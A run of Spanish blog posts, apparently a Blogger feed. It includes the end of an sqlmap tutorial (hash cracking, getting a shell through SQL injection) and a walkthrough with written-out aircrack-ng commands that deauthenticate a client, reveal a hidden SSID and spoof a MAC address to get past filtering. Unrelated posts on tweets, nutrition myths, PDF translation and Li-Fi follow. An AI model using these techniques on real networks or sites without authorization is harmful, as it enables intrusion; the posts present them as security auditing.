<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhh6WfV3pxzH3cEJK0X5ZXrYMg1AM8IDvOcTHB3Iv2p4cG6pM9J1UwW-dBpzS4IkeT-oSlZ0zsWIWPTUd6sa-nDdVmD4JEPUGc7QvFzLjCFb249l6xuVXXruFLvRvMKdLwFRKvwTAS3iaIp/s1600/12.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="26" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhh6WfV3pxzH3cEJK0X5ZXrYMg1AM8IDvOcTHB3Iv2p4cG6pM9J1UwW-dBpzS4IkeT-oSlZ0zsWIWPTUd6sa-nDdVmD4JEPUGc7QvFzLjCFb249l6xuVXXruFLvRvMKdLwFRKvwTAS3iaIp/s400/12.PNG" width="400" /></a></div>
<div>
</div>
<div>
Y en este punto también veremos algo interesante de la herramienta, ya
que detectará los hashes de las contraseñas que hay en la tabla y nos
ofrecerá realizar un ataque basado en diccionario para romperlos:</div>
<div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhshSWKa7UxUq4OKjP9Nd7aAFrKEOH9PTegPKCDLmkS8cr4b5bNG8cl6m7qIBzkL_CA3MxloGrTg2804wADG3zRsVa-huGeOqnKklBIRnmLXzO9Np1-qmotf_NgaY2wVJnfsF7UAAVDE-mQ/s1600/14.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="128" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhshSWKa7UxUq4OKjP9Nd7aAFrKEOH9PTegPKCDLmkS8cr4b5bNG8cl6m7qIBzkL_CA3MxloGrTg2804wADG3zRsVa-huGeOqnKklBIRnmLXzO9Np1-qmotf_NgaY2wVJnfsF7UAAVDE-mQ/s400/14.PNG" width="400" /></a></div>
<div>
</div>
<div>
Dándonos en este caso un resultado perfecto:</div>
<div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPq0TX8V6HGikI71fmVcCoetZSvOJLuoDiS76SCuJL7H9KvY6Ib1zgtnfoHkSShE0nY4E3twEaBNzRoa5E5UtWKDIt1zbFH4ruCPKWEEKECJFSlt5YtWRb6ZPfMExlAvsq4c0eZw_li4Lp/s1600/15.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="233" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPq0TX8V6HGikI71fmVcCoetZSvOJLuoDiS76SCuJL7H9KvY6Ib1zgtnfoHkSShE0nY4E3twEaBNzRoa5E5UtWKDIt1zbFH4ruCPKWEEKECJFSlt5YtWRb6ZPfMExlAvsq4c0eZw_li4Lp/s400/15.PNG" width="400" /></a></div>
<div>
</div>
<div>
</div>
<h3>
Otras pruebas más allá del escenario DVWA</h3>
<div>
</div>
<div>
La siguiente prueba de concepto la realizaré sobre una aplicación Web
hecha a medida ya que DVWA no es vulnerable a la explotación que voy a
mostrar sin embargo algún escenario al que nos enfrentemos sí podría
serlo.</div>
<div>
</div>
<div>
Una vez hayamos detectado un parámetro vulnerable a SQL injection y si
los permisos del motor de base de datos y el sistema de ficheros no
están bien configurados podríamos incluso llegar a conseguir una shell
con el siguiente comando:</div>
<div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibXF7zPf7-MOt6-GZTgDHLGHWs_YvLkT3eleDXN0ykJpRfNwzAnrVV9JqzO1TeRv8nG8bQWJsrEuy6yjwbOy0fURWiH6ZJghUbRfup5_YbY20QPIGhyltEDHhVSTl3uOXR-5myyKMOeUQr/s1600/16.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="23" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibXF7zPf7-MOt6-GZTgDHLGHWs_YvLkT3eleDXN0ykJpRfNwzAnrVV9JqzO1TeRv8nG8bQWJsrEuy6yjwbOy0fURWiH6ZJghUbRfup5_YbY20QPIGhyltEDHhVSTl3uOXR-5myyKMOeUQr/s400/16.PNG" width="400" /></a></div>
<div>
</div>
<div>
Nos solicitará algo de información adicional con el fin de crear la sentencia SQL que nos devolverá una shell:</div>
<div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYtWdTEfFJZ4jlKz-y6SqtduNa_bpqknk7EgUjHrD7DIJgKt95_6kmxI90qhbx_ofQcwYOH01Zedu6MoS4iZchLypVdOUP06zdfzbuP7Uv57QHbJJYUL_sI9Nuoegc5tp_PWbpp7AfrjtT/s1600/18.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="191" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYtWdTEfFJZ4jlKz-y6SqtduNa_bpqknk7EgUjHrD7DIJgKt95_6kmxI90qhbx_ofQcwYOH01Zedu6MoS4iZchLypVdOUP06zdfzbuP7Uv57QHbJJYUL_sI9Nuoegc5tp_PWbpp7AfrjtT/s400/18.PNG" width="400" /></a></div>
<div>
</div>
<div>
Seguir este proceso nos devolverá la shell:</div>
<div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBL5BDeIkfFG5eP1K93aBODamJYPNCEuTbCo_rY46sTZfD2Fia5jHmQIhbGSBDNU6U_dExoWl9k9xbKJLTWrlCh57awpfCvUXiOCR6H7fSkYP9a0uY9nhJLUKT_owSdcDQ1rH6YLrkSrhI/s1600/17.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="133" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBL5BDeIkfFG5eP1K93aBODamJYPNCEuTbCo_rY46sTZfD2Fia5jHmQIhbGSBDNU6U_dExoWl9k9xbKJLTWrlCh57awpfCvUXiOCR6H7fSkYP9a0uY9nhJLUKT_owSdcDQ1rH6YLrkSrhI/s400/17.PNG" width="400" /></a></div>
<div>
</div>
<div>
</div>
<div>
Y por ir finalizando la cantidad de posibilidades que nos ofrece la
herramienta, no olvidemos que podemos integrarla con nuestra instalación
de <b>Tor</b> utilizando el siguiente comando:</div>
<div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4J7C-_qF-GNneMUfFnljZjSMUfb4Mv6mWYSUV4J9iy_7Na_Gf_BqEW7YWomYyQGgBgqVmmfEh6mbvD_7fY-3aV4f3vsjDx3hgMqPkaXOMFUeDOb1_u9zVwSxYSue5LHLjLebA98ENmUZv/s1600/20.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="34" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4J7C-_qF-GNneMUfFnljZjSMUfb4Mv6mWYSUV4J9iy_7Na_Gf_BqEW7YWomYyQGgBgqVmmfEh6mbvD_7fY-3aV4f3vsjDx3hgMqPkaXOMFUeDOb1_u9zVwSxYSue5LHLjLebA98ENmUZv/s400/20.PNG" width="400" /></a></div>
<div>
</div>
<div>
Fuente: http://www.estacion-informatica.com/2014/04/profundizando-en-sqlmap.html</div>
Anonymoushttp://www.blogger.com/profile/14889995492496981061noreply@blogger.com0tag:blogger.com,1999:blog-3341002719381872485.post-47345088539429217952014-11-29T11:46:00.000-08:002014-11-29T11:46:07.895-08:00Evadiendo Filtros de Mac y descubriendo SSID ocultos<br /><div style="text-align: left;">
<div style="text-align: justify;">
En este caso veremos como descubrir redes ocultas que esta técnica se
usa para asegurar un poco mas nuestra red inalambrica, mediante el SSID
oculto hacemos que nuestro accespoint no envié su nombre por lo cual
pasara oculto a los dispositivos que busquen conectarse a una red, pero
en este caso veremos como esta medida no es del 100% segura ya que no es
nada difícil descubrir estos puntos de acceso ocultos..</div>
<br />
</div>
<div style="text-align: justify;">
Y el otro caso es del filtrador por Mac, esta opción ya viene en
la mayoría de los acces point esta opción nos sirve para nosotros poder
especificar a que usuarios queremos dejar que se conecten a través de la
red inalambrica, mediante una lista de las direcciones MAC de los
equipos podemos permitir o denegar el servicio a nuestra red
inalambrica. </div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
Empecemos, el primer caso que son las redes ocultas que es cuando el
acces point no envía ese identificador (SSID) que nosotros lo vemos como
el nombre de la Red (infinitum, Axtel, Jaztel, Oficina) etc.
Pero aun que el Acces Point no envie ese identificador, el sige enviando
paquetes de Broadcast(Beacon Frames) a que me refiero a que el Acces
Point no te dira su nombre, pero si te esta diciendo Aqui estoy.. Aqui
Estoy.. Utilizaremos nuestra tarjeta de red inalambrica y un Sniffer que
en mi caso use Wireshark. </div>
<div style="text-align: left;">
</div>
<div style="text-align: justify;">
Lo primero que haremos es ver nuestras interfaces Inalambricas que tengamos instalados en nuestra computadora.</div>
<div style="text-align: justify;">
</div>
<div style="text-align: left;">
Abriremos una Terminal y escribimos el comando
<strong>Iwconfig </strong>
<a href="http://ifsecurity.files.wordpress.com/2013/04/1.png"><strong></strong><span style="display: inline-block; position: relative;"><img alt="1" class="aligncenter size-full wp-image-285" height="262" src="http://ifsecurity.files.wordpress.com/2013/04/1.png" width="400" /></span></a> </div>
<div style="text-align: left;">
Bueno en mi caso usare mi tarjeta de Red inalambrica que tiene la Interfaz Wlan2.</div>
<div style="text-align: left;">
<br />
<a href="https://draft.blogger.com/null" name="more"></a></div>
<div style="text-align: justify;">
Lo siguiente que haremos sera convertir nuestra tarjeta de red
inalambrica en un escucha de todos los paquetes que viajan en el aire, a
lo que conocemos poner nuestra tarjeta en Modo Monitor. </div>
<div style="text-align: justify;">
</div>
<div style="text-align: left;">
Usaremos el comando<strong> airmon-ng start wlan2
</strong>
<a href="http://ifsecurity.files.wordpress.com/2013/04/2.png"><img alt="2" class="aligncenter size-full wp-image-286" height="260" src="http://ifsecurity.files.wordpress.com/2013/04/2.png" width="400" /></a> </div>
<div style="text-align: left;">
Ustedes usen el comando con el nombre que tenga su interfaz de red inalambrica.</div>
<div style="text-align: left;">
</div>
<div style="text-align: justify;">
Si les da algun error lo mas seguro es que sea por permisos asi que usen el comando<strong> sudo su </strong>para elevar sus privilegios y estar como super usuario.
Esto hara que se nos habilite una interfaz en modo </div>
<div style="text-align: justify;">
monitor que en mi caso es la <strong>mon0</strong></div>
<div style="text-align: justify;">
<strong> </strong>
<a href="http://ifsecurity.files.wordpress.com/2013/04/3.png"><img alt="3" class="aligncenter size-full wp-image-287" height="260" src="http://ifsecurity.files.wordpress.com/2013/04/3.png" width="400" /></a> </div>
<div style="text-align: left;">
</div>
<div style="text-align: left;">
Ahora ya teniendo nuestra tarjeta de Red en Modo monitor procederemos a
abrir nuestro Sniffer, que en mi caso usare el Wireshark.
Hacemos click en <strong>Interface List </strong>y damos click en <strong>start</strong> en nuestra interfaz que esta en modo Monitor, en mi caso es <strong>mon0</strong></div>
<div style="text-align: left;">
<strong> </strong>
<a href="http://ifsecurity.files.wordpress.com/2013/04/4.png"><img alt="4" class="aligncenter size-full wp-image-288" height="249" src="http://ifsecurity.files.wordpress.com/2013/04/4.png" width="400" /> </a></div>
<div style="text-align: left;">
</div>
<div style="text-align: left;">
Y comenzara a mostrarnos todo el trafico de los paquetes que van viajando en el aire.
Al analizar los Beacon Frames veremos que la mayoría traen el nombre de la red, pero unos vienen como<strong> SSID=Broadcast</strong>
que son los que buscamos, los que vienen sin el identificador, en otros
casos pueden aparecer caracteres extraños en seguida de SSID=.
<a href="http://ifsecurity.files.wordpress.com/2013/04/5.png"><img alt="5" class="aligncenter size-full wp-image-289" height="249" src="http://ifsecurity.files.wordpress.com/2013/04/5.png" width="400" /></a></div>
<div style="text-align: left;">
</div>
<div style="text-align: left;">
</div>
<div style="text-align: left;">
Analizaremos lo que trae dentro este paquete y encontraremos la Mac Addres del Acces Point, en este caso es un equipo Huaweii</div>
<div style="text-align: left;">
<a href="http://ifsecurity.files.wordpress.com/2013/04/6.png"><img alt="6" class="aligncenter size-full wp-image-290" height="248" src="http://ifsecurity.files.wordpress.com/2013/04/6.png" width="400" /></a> </div>
<div style="text-align: left;">
</div>
<div style="text-align: left;">
Ahora sabemos que la Mac Addres es <strong>5c:4c:a9:57:f0:e4 </strong>y si seguimos analizando este paquete veremos que tambien nos muestra el Canal por donde se esta transmitiendo.</div>
<div style="text-align: left;">
</div>
<div style="text-align: left;">
<a href="http://ifsecurity.files.wordpress.com/2013/04/7.png"><img alt="7" class="aligncenter size-full wp-image-291" height="249" src="http://ifsecurity.files.wordpress.com/2013/04/7.png" width="400" /> </a></div>
<div style="text-align: left;">
</div>
<div style="text-align: left;">
Ya tenemos la Mac Addres del acces point y sabemos que transmite
a través del canal 5. ahora con esta informacion podemos usar una
herramienta que viene incluida en la suite de aircrack que es el
Airodump
Usare el comando
<strong>airodump-ng --channel 5 --bssid 5c:4c:a9:57:f0:e4 mon0</strong>
donde especifico el canal y el bssid del Acces point.
<a href="http://ifsecurity.files.wordpress.com/2013/04/8.png"><img alt="8" class="aligncenter size-full wp-image-292" height="235" src="http://ifsecurity.files.wordpress.com/2013/04/8.png" width="400" /></a> </div>
<div style="text-align: left;">
</div>
<div style="text-align: left;">
Como pueden ver en el ESSD donde normalmente aparecen el nombre de las
redes, aparece Length: 0 que quiere decir que esta oculto el SSID.
Para poder descubrir cual es el SSID de esta red hay dos formas,<strong> pasiva o activa</strong>
La pasiva es esperar a que un cliente se asocie a la red mientras que nosotros monitoreamos el trafico de esta asociación.
Usare un filtro en el Wireshark para que solo nos muestre el trafico que hay en ese Acces Point. </div>
<div style="text-align: left;">
<a href="http://ifsecurity.files.wordpress.com/2013/04/9.png"><img alt="9" class="aligncenter size-full wp-image-293" height="249" src="http://ifsecurity.files.wordpress.com/2013/04/9.png" width="400" /></a> </div>
<div style="text-align: left;">
</div>
<div style="text-align: left;">
Podemos ver los paquetes de Subtipo <strong>Probe Response</strong> que contienen la informacion que buscamos. Con esto ya sabremos el SSID de la red que en este caso es <strong>INFINITUM9a8b</strong>
El problema de usar este método es que si tenemos algo de prisa
o ningún cliente se conecta en ese momento no obtendríamos el nombre de
la red tan fácil.
Para estos casos que tengamos donde no queramos esperar a que alguien se
conecte usaremos el método <strong>Activo</strong>.
Este método forzaremos a que se envíen paquetes de <strong>Probe y Association</strong>
para poder capturar el SSID de la red, para poder capturar estos
paquetes nos tendremos que dar a la tarea de interrumpir a un cliente
para que su tarjeta de red se vea forzada a hacer una re-asociacion con
el acces point.
En este caso buscaremos los clientes conectados al accespoint para poder
hacer el uso de paquetes DeAuth que es un subtipo de paquetes de
Administracion y nos permitira interrumpir la conexion entre el cliente y
accespoint.
Usaremos el comando <strong>airodump-ng --bssid 5c:4c:a9:57:f0:e4 mon0
<a href="http://ifsecurity.files.wordpress.com/2013/04/10.png"><img alt="10" class="aligncenter size-full wp-image-295" height="233" src="http://ifsecurity.files.wordpress.com/2013/04/10.png" width="400" /> </a></strong></div>
<div style="text-align: left;">
</div>
<div style="text-align: left;">
En la parte inferior podremos ver los clientes asociados al acces point
que tiene el SSID oculto, podemos ver donde dice STATION esta la MAC
addres de este cliente que usaremos como victima para realizar
la interrupción y forzarlo a la re-asociación con el Acces Point.
Usaremos el comando
<strong>aireplay-ng --deauth 0 -a 5C:4C:A9:57:F0:E4 -c 00:87:12:23:16:CD mon0</strong>
donde -a especificamos el Acces point y el -C especificaremos la mac
addres del cliente a la cual le enviaremos los paquetes de
desautenticacion.
<a href="http://ifsecurity.files.wordpress.com/2013/04/11.png"><img alt="11" class="aligncenter size-full wp-image-296" height="233" src="http://ifsecurity.files.wordpress.com/2013/04/11.png" width="400" /></a> </div>
<div style="text-align: left;">
</div>
<div style="text-align: left;">
Al hacer este proceso es importante que tengamos nuestro Sniffer
corriendo en la interfaz que esta en modo monitor, ya que al Desasociar
al cliente del accespoint, el cliente volvera a negociar otra
asociacion con paquetes de<strong> Probe Response y de Reassociation Request.</strong>
<a href="http://ifsecurity.files.wordpress.com/2013/04/13.png"><img alt="13" class="aligncenter size-full wp-image-297" height="249" src="http://ifsecurity.files.wordpress.com/2013/04/13.png" width="400" /></a> </div>
<div style="text-align: left;">
</div>
<div style="text-align: left;">
Aqui podremos ver el trafico de esos paquetes DeAuth y como se realizo
la reconexion del parte del cliente. En esta reasociacion veremos el
nombre del SSID del acces point oculto.
Bueno con esto ya hemos aprendido a descubrir las redes ocultas que como
ven no es una medida muy segura para nuestros AP.
Con esta informacion podemos auditar la red la cual en este caso podemos
usar un Decrypter como el Mac2wepkey esto porque ya se ha descubierto
el algoritmo para la generacion de Password por default de estos equipos
Huaweii.. en caso de que hallan cambiado las credenciales, pues podemos
proceder a auditarla que si es una WEP no nos tardaremos mas de 5
minutos en hacerlo.
Y si esta un poco mas segura encontraremos un wpa2, pero pues con tiempo
todo es posible, asi que a capturar handshake y a correrle tu mejor
diccionario.
Suponiendo que hemos encontrado el password del Acces point, pero al
querer accesar no nos permite asociarnos, es porque muy seguramente use
Filtrador por <strong>Mac Addres.</strong>
Estos es sencillo de burlar siempre y cuando halla clientes conectados a ese accespoint.
Usaremos el comando
<strong>airodump-ng --bssid 5c:4c:a9:57:f0:e4 mon0</strong>
<a href="http://ifsecurity.files.wordpress.com/2013/04/14.png"><img alt="14" class="aligncenter size-full wp-image-298" height="264" src="http://ifsecurity.files.wordpress.com/2013/04/14.png" width="400" /> </a></div>
<div style="text-align: left;">
</div>
<div style="text-align: left;">
Vemos que hay un cliente asociado a 5C:4C:A9:57:F0:E4 el cual es el
Acces Point que queremos asociarnos, entonces lo que haremos sera
spoofear nuestra Mac Addres por la del cliente, en este caso
00:4F:72:69:6F:6E
Usaremos el comando
<strong>macchanger -m 00:4F:72:69:6F:6E wlan2</strong>
<a href="http://ifsecurity.files.wordpress.com/2013/04/15.png"><img alt="15" class="aligncenter size-full wp-image-299" height="258" src="http://ifsecurity.files.wordpress.com/2013/04/15.png" width="400" /> </a></div>
<div style="text-align: left;">
</div>
<div style="text-align: left;">
Si tienen errores recuerden detener todas las interfaces en modo monitor que tenian usado el comando airmon-ng stop mon0
Ya con esto tendremos acceso a la red.</div>
<div style="text-align: left;">
</div>
<div style="text-align: left;">
<a href="http://ifsecurity.files.wordpress.com/2013/04/16.png"><img alt="16" class="aligncenter size-full wp-image-300" height="28" src="http://ifsecurity.files.wordpress.com/2013/04/16.png" width="275" /> </a></div>
<div style="text-align: left;">
</div>
Saludos!<br />
<br />
Fuente: http://www.estacion-informatica.com/2013/04/evadiendo-filtros-de-mac-y-descubriendo.html Anonymoushttp://www.blogger.com/profile/14889995492496981061noreply@blogger.com0tag:blogger.com,1999:blog-3341002719381872485.post-23036444888077214612014-11-28T22:08:00.000-08:002014-11-28T22:08:15.351-08:00Como saber el origen de un tuit? quien fue el primero? <br />
<a href="http://img.genbeta.com/2014/11/650_1000_who_tweeted_it_first.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img alt="Who Tweeted It First" border="0" class="centro_sinmarco" height="209" src="http://img.genbeta.com/2014/11/650_1000_who_tweeted_it_first.png" width="400" /></a>¿Nunca os da rabia cuando veis que alguien, en vez de retuitear algún
mensaje de Twitter, lo copia y pega para que parezca que lo ha escrito
originalmente él? Es una práctica lamentablemente muy extendida por las
redes sociales, sobretodo para atraer tráfico en los medios que dependen
de chistes o mensajes virales. Afortunadamente, una web llamada <a href="http://ctrlq.org/first">Who Tweeted It First</a> nos revela <strong>quién ha sido el primer usuario que ha tuiteado eso</strong>.<br />
<br />
La imagen superior resume perfectamente esa página: basta con <strong>introducir las palabras clave de nuestra búsqueda</strong>
y tras unos instantes buscando tendremos la primera persona que lo ha
escrito. perfecto para averiguar quién fue el primero que puso un
hashtag que se ha viralizado.<br />
<br />
El uso de la web es completamente <strong>gratuito</strong>, y puede
ser capaz de detener desde la más leve discusión entre amigos a disputas
legales entre grandes compañías. Aunque éstas siempre <a href="http://www.genbeta.com/redes-sociales-y-comunidades/busquedas-avanzadas-de-twitter-encuentra-cualquier-tuit-escrito-desde-el-2006">pueden buscar</a> cualquier cosa que se haya tuiteado desde el 2006 desde el mismo Twitter para ahorrarse demandas, claro.<br />
<br />
<b>Link para buscar</b>: http://ctrlq.org/first/<br />
<b>Fuente</b>: http://www.genbeta.com/web/se-acabaron-las-peleas-sobre-la-fuente-who-tweeted-it-first-te-revela-el-primer-autor-de-un-tuit<br />
<b>Extra para tuiteros, un quiz para conocer que tanto sabes</b>: http://whotweeted.it/quiz Anonymoushttp://www.blogger.com/profile/14889995492496981061noreply@blogger.com0tag:blogger.com,1999:blog-3341002719381872485.post-678007310389025772014-11-28T22:03:00.001-08:002014-11-28T22:03:27.830-08:00Mitos sobre una buena nutrición y saludExisten muchos dichos populares y 'consejos' para una buena nutrición y mantenerse saludable, pero el problema es que una gran parte de esta sabiduría popular es falsa.<br />
<br />Según recoge el portal 'Business Insider', esta es la verdad detrás de algunas de esas declaraciones de propiedades saludables que ha escuchado toda la vida, pero que no han sido demostradas científicamente.<br /><br /><b>Abríguese o cogerá un resfriado</b><br /><b><br />Los resfriados vienen del frío</b>: falso. El frío por sí solo no provoca resfriados. Los verdaderos causantes son normalmente virus que se transmiten de persona a persona. Aunque su aparición se asocia directamente con un sistema inmunitario debilitado, por ejemplo por el frío.<br /><br /><b>Tomando vitaminas se mantendrá saludable</b><br />Décadas de investigaciones científicas sobre las vitaminas no han encontrado ninguna justificación para nuestro hábito multivitamínico, y en algunos casos, las vitaminas en realidad se han asociado con un mayor riesgo de padecer cáncer.<br /><br /><b>El café frena el crecimiento</b><br /><br />Las investigaciones no han encontrado ninguna correlación entre el consumo de cafeína y el crecimiento de los huesos en los niños.<br /><br />En los adultos, los investigadores han visto que el mayor consumo de cafeína puede limitar ligeramente la absorción de calcio, pero el impacto es tan pequeño que un poco de leche será más que suficiente para compensar los efectos de una taza de café.<br /><br /><b>Si se ingiere una goma de mascar se tarda 7 años en digerirse</b><br /><br />Es cierto que la goma (chicle) no es digerible en el cuerpo humano, sino que simplemente pasa a través de todo su sistema digestivo. No se pega en su interior, solo continúa, junto con los alimentos que se han ingerido y sale por el otro extremo.<br /><br /><b>Los zumos desintoxican nuestro organismo</b><br /><br />Nuestro organismo elimina de forma natural sustancias químicas nocivas a través del hígado, riñones y el tracto gastrointestinal. Pero los jugos no ayudan a acelerar este proceso.<br /><br /><b>Hay que esperar una hora después de comer para nadar</b><br /><br />Luego de comer, una gran parte de la sangre de nuestro cuerpo viaja hacia el estómago para realizar la digestión. Esto ocasionaría que las extremidades tengan menos sangre disponibles para los músculos, haciéndolos más propensos a sufrir calambres. Pero es poco probable que nuestras extremidades queden sin sangre suficiente luego de la comida como para nadar.<br /><br /><b>Se debe beber ocho vasos de agua al día</b><br /><br />No hay ni una sola evidencia médica que indique que una persona necesita beber esa cantidad de agua. Evidentemente hay que aportar a nuestro organismo el líquido vital, pero cada persona tiene una composición física y metabólica diferente, por lo que cada persona necesita una mayor o menor cantidad de agua.<br /><br /><b>Se puede comer un alimento sí estuvo en el suelo menos de 5 segundos</b><br /><br />Existe una creencia popular de que si un alimento se cayó y ha estado en el suelo no más de 5 segundos, se puede comer sin problemas. Sin embargo, esta regla no es válida, debido a que las bacterias pueden contaminar el alimento en cuestión de milisegundos.<br /><br /><b>Las vacunas causan autismo</b><br /><br />Según la Organización Mundial de la Salud, no existen pruebas científicas de una relación entre una vacuna y el autismo o trastornos autistas. El mito sobre el vínculo entre una vacuna y el autismo habría resultado de un estudio erróneo.<br /><br /><b>El yogur ayuda a una buena digestión</b><br />El yogur se comercializa frecuentemente bajo el argumento de tener beneficios para la digestión y mantener la forma gracias a sus probióticos. Pero estos 'beneficios' son solo una táctica publicitaria de sus fabricantes, aunque eso no quiere decir que el yogur no sea saludable, según los expertos.<br /><b><br />Una manzana al día te mantiene sano</b><br /><br />Las manzanas son ricas en vitamina C y fibra, importantes elementos para la salud, pero estas frutas no son todo lo que necesita una persona para mantenerse saludable.<br /><br /><b>Comer helado hará que su resfriado empeore</b><br /><br />Las personas resfriadas sí pueden comer un poco de helado e incluso le ayudará a sentirse mejor. Científicos aseguran que "los productos lácteos congelados pueden calmar el dolor de garganta y proporcionar calorías al organismo".<br /><br /><b>Tronarse los dedos provoca artritis</b><br /><br />Tronarse los nudillos de los dedos no tiene consecuencias negativas, y las personas que lo hacen no son más propensas a desarrollar artritis que los que no lo hacen.<br /><br />Existen mas mitos que pueden ver en la fuente: http://actualidad.rt.com/sociedad/view/148410-veinte-mitos-llevar-buena-nutricion-saludAnonymoushttp://www.blogger.com/profile/14889995492496981061noreply@blogger.com0tag:blogger.com,1999:blog-3341002719381872485.post-22621297705114296582014-11-28T12:01:00.002-08:002014-11-28T12:01:35.292-08:00Traducir PDF a español online (sin instalar herramientas) Buenas tardes.<br />
<br />
En sistemas existen muchos "trucos" para facilitar nuestra existencia informática, hoy vamos a ver un truco para traducir un documento pdf a español solo usando internet y sin instalar programas, aunque en realidad podría ser cualquier documento sea pdf, world, txt, etc...<br />
<br />
Cabe anotar que el truco no va servir si el pdf esta encriptado y protegido, para esto primero lo tienen que crackear y quitar la protección para poder "copiar" el contenido de su interior.<br />
<br />
Bueno empecemos:<br />
<br />
<br />
1.-Tener instalado <b>Java</b>, lo puedes comprobar entrando al sitio <b>http://www.onlinedoctranslator.com/</b> y el te pedirá o no instalarlo dependiendo de la versión que tengas.<br /><br />2.- te diriges a esta pagina <b>http://www.fileminx.com/</b> allí subes el archivo PDF o lo que sea para <b>convertirlo en WORD</b>, esta pagina es para convertir, ya luego te dirá que bajes el archivo y listo!!!, la pagina puede tardar en convertir el archivo dependiendo de cuanto pese.<br /><br />3.- ya convertido, te diriges a <b>http://www.onlinedoctranslator.com/</b> cargas el archivo de WORD y tardara un poco en traducir todo el archivo al idioma que tu quieras,<br />tiene mas de 250 idioma, y conserva el formato original.<br />
<br />
También es de anotar que si tienes el archivo en word simplente saltas al punto 3.<br />
<br />
Bueno este "truco" funciona bien para cuando se buscan ebooks en ingles, esto ayuda a facilitar el entendimiento y contenido del mismo.<br />
<br />
Saludos roboticos.<br />
<br />
Fuente:<br />
http://www.identi.li/index.php?topic=30756Anonymoushttp://www.blogger.com/profile/14889995492496981061noreply@blogger.com0tag:blogger.com,1999:blog-3341002719381872485.post-88885731345260698862014-11-27T22:38:00.002-08:002014-11-27T22:38:17.146-08:00¿Conoces el Li-Fi? Internet que Viaja por la Luz.. <div dir="ltr" style="text-align: justify;">
Un grupo de científicos está a punto de presentar este mes
Li-Fi, la conexión inalámbrica que está llamada a ser la más rápida del
mundo, que permitirá trasmitir datos a velocidades increíbles.</div>
<div dir="ltr" style="text-align: justify;">
<br /></div>
<div dir="ltr" style="text-align: justify;">
<a href="http://i2.wp.com/cdn.rt.com/actualidad/public_images/280/280644b1e53361fb15b70fe8101d385a_article.jpg?w=1060" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="224" src="http://i2.wp.com/cdn.rt.com/actualidad/public_images/280/280644b1e53361fb15b70fe8101d385a_article.jpg?w=1060" width="400" /></a></div>
<div dir="ltr" style="text-align: justify;">
<br /></div>
<div dir="ltr" style="text-align: justify;">
El
grupo de científicos de la Universidad de Edimburgo encabezado por
Harald Haas, junto con los investigadores de las Universidades de
Cambridge, Oxford, St. Andrews y Strathclyde, llevan a cabo el proyecto,
con un coste 5,8 millones de libras, bajo los auspicios del Consejo de
Ingeniería e Investigación Física de Reino Unido, informa spectrum.ieee. </div>
<div dir="ltr" style="text-align: justify;">
<br /></div>
<div dir="ltr" style="text-align: justify;">
El Li-Fi se basa en una conexión de luz visible ultra paralela, que
puede multiplicar los colores de la luz para generar una conexión de
alta amplitud a larga distancia. Este tipo de Li-Fi podría complementar
y, en algunos casos, sustituir a tradicional Wi-Fi basada en ondas de
radio, informan los científicos. No obstante, sus creadores subrayan que
no tienen la intención de hacer competencia al Wi-Fi.</div>
<div dir="ltr" style="text-align: justify;">
<br /></div>
<div dir="ltr" style="text-align: justify;">
Aunque
a priori esta versión está limitada por las instalaciones actuales de
LED (diodos transmisores de luz) iy por el uso de LED como transmisor y
detector al mismo tiempo, Haas asegura haber creado una mejor
instalación LED que permitirá la transmisión de datos a una velocidad de
5 Gb/s (gigabytes por segundo) manejando sólo 5 milivatios de potencia
de salida óptica y fotodiodos de alta amplitud en el receptor. Con una
sencilla lente que prolonge la distancia, será posible transmitir los
datos a una distancia de diez metros a una velocidad de 1.1 Gb/s, que
pronto podrá aumentar hasta 15 Gb/s, explica Haas.</div>
<div dir="ltr" style="text-align: justify;">
<br /></div>
<div dir="ltr" style="text-align: justify;">
Paralelamente,
otro grupo de investigadores del Instituto Fraunhofer de Microsistemas
Fotónicos en Dresde, Alemania, tienen previsto mostrar el Li- Fi ‘puntos
calientes’ en la Feria de Muestras Electrónicas en Munich de noviembre.
Frank Deicke, que encabeza el grupo de científicos, asegura que el
sistema va a utilizar la luz infrarroja y que irá destinado más a la
industria que a los consumidores. Este Li-Fi ha sido elaborados para
enlaces ‘de punto a punto’ con una velocidad de hasta 1 Gb/s .</div>
<div dir="ltr" style="text-align: justify;">
<br /></div>
<div dir="ltr" style="text-align: justify;">
Los
científicos esperan que en próximos 25 años las bombillas en cada casa
aporten conexión a los teléfonos celulares y esta sea solo una de las
funciones de la iluminación.</div>
<div dir="ltr" style="text-align: justify;">
<br /></div>
<div dir="ltr" style="text-align: justify;">
Fuentes:</div>
<div dir="ltr" style="text-align: justify;">
http://insercionblog.blogspot.com/2014/11/conoces-el-li-fi-internet-que-viaja-por.html</div>
<div dir="ltr" style="text-align: justify;">
